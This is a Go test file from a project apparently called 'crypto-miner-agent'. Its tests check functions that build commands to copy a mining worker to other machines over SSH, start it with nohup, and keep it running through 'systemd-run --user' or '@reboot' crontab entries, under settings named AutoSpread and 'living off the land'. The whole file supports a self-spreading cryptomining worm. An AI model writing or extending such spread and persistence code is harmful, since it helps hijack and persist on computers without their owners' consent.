Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
66 lines
1.9 KiB
Go
66 lines
1.9 KiB
Go
//go:build !windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func TestSystemdLinuxLOTLLaneSSHStartCmd(t *testing.T) {
|
|
cmd := sshSpreadStartCmd("/tmp/af-worker")
|
|
for _, want := range []string{"chmod +x", "--spread-install", "--defer-mining", "nohup"} {
|
|
if !strings.Contains(cmd, want) {
|
|
t.Fatalf("cmd=%q missing %q", cmd, want)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestSystemdLinuxLOTLPersistSystemdRunUser(t *testing.T) {
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "systemd_run_user"}}
|
|
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
|
|
if !strings.Contains(cmd, "systemd-run --user") {
|
|
t.Fatalf("cmd=%q", cmd)
|
|
}
|
|
if !strings.Contains(cmd, "--defer-mining") {
|
|
t.Fatal("expected defer-mining in systemd persist")
|
|
}
|
|
}
|
|
|
|
func TestSystemdLinuxLOTLPersistCrontab(t *testing.T) {
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "crontab"}}
|
|
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
|
|
if !strings.Contains(cmd, "@reboot") || !strings.Contains(cmd, "crontab") {
|
|
t.Fatalf("cmd=%q", cmd)
|
|
}
|
|
}
|
|
|
|
func TestSystemdLinuxLOTLPersistBothModes(t *testing.T) {
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "both"}}
|
|
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
|
|
if !strings.Contains(cmd, "systemd-run") || !strings.Contains(cmd, "crontab") {
|
|
t.Fatalf("cmd=%q", cmd)
|
|
}
|
|
}
|
|
|
|
func TestSystemdLinuxLOTLPersistOffReturnsEmpty(t *testing.T) {
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "off"}}
|
|
if got := sshSpreadPersistCmd(cfg, "/opt/af/worker"); got != "" {
|
|
t.Fatalf("got %q", got)
|
|
}
|
|
}
|
|
|
|
func TestTryLotlTierLinuxLOTLLane(t *testing.T) {
|
|
ok, msg := tryLotlTier(config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{AutoSpread: true, LinuxLOTLMode: "systemd_run_user"},
|
|
}, "linux")
|
|
if !ok {
|
|
t.Fatalf("linux tier should succeed, got %q", msg)
|
|
}
|
|
if !strings.Contains(msg, "ssh") {
|
|
t.Fatalf("msg=%q", msg)
|
|
}
|
|
}
|